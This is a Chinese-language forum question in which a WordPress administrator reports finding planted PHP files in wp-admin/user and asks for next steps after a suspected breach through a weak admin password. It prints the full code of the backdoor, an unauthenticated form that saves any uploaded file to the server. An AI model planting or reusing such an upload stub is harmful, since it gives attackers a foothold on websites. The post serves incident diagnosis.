在WordPress项目中的服务器上发现可疑文件（'wp-admin/user'）[已关闭]

问：

今天早上，我在 WordPress wp-admin/user 目录中的服务器上遇到了一些可疑文件：

文件评论-zk9YV7.php

<?php
if(move_uploaded_file($_FILES["Wpfl"]["tmp_name"], basename($_FILES["Wpfl"]["name"]))){
    echo (basename($_FILES["Wpfl"]["name"])."    Success");
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">
<input type=\"file\" name=\"Wpfl\"/>
<input type=\"submit\" value=\"fup\"/>
</form>
</br>task is done!";
?>

还有一个文件，comment-JR9hng.php，由相同的代码组成。

几周前，我一直怀疑存在违规行为，虽然这个文件本身似乎有些无害，但我不禁想象有更大的事情正在发生。

从那以后，我检查了服务器，什么也没发现，但也许我没有找对地方。我的理论是，由于其中一位WordPress管理员的密码非常弱，因此访问了WordPress管理员。大约一周前，我们也收到了一堆来自 WordPress 后端的垃圾邮件帖子，宣传了一些骗局和恶意链接。我怀疑这又是由于非常容易猜到的密码。

我能做些什么？有没有一些指示下一步要看？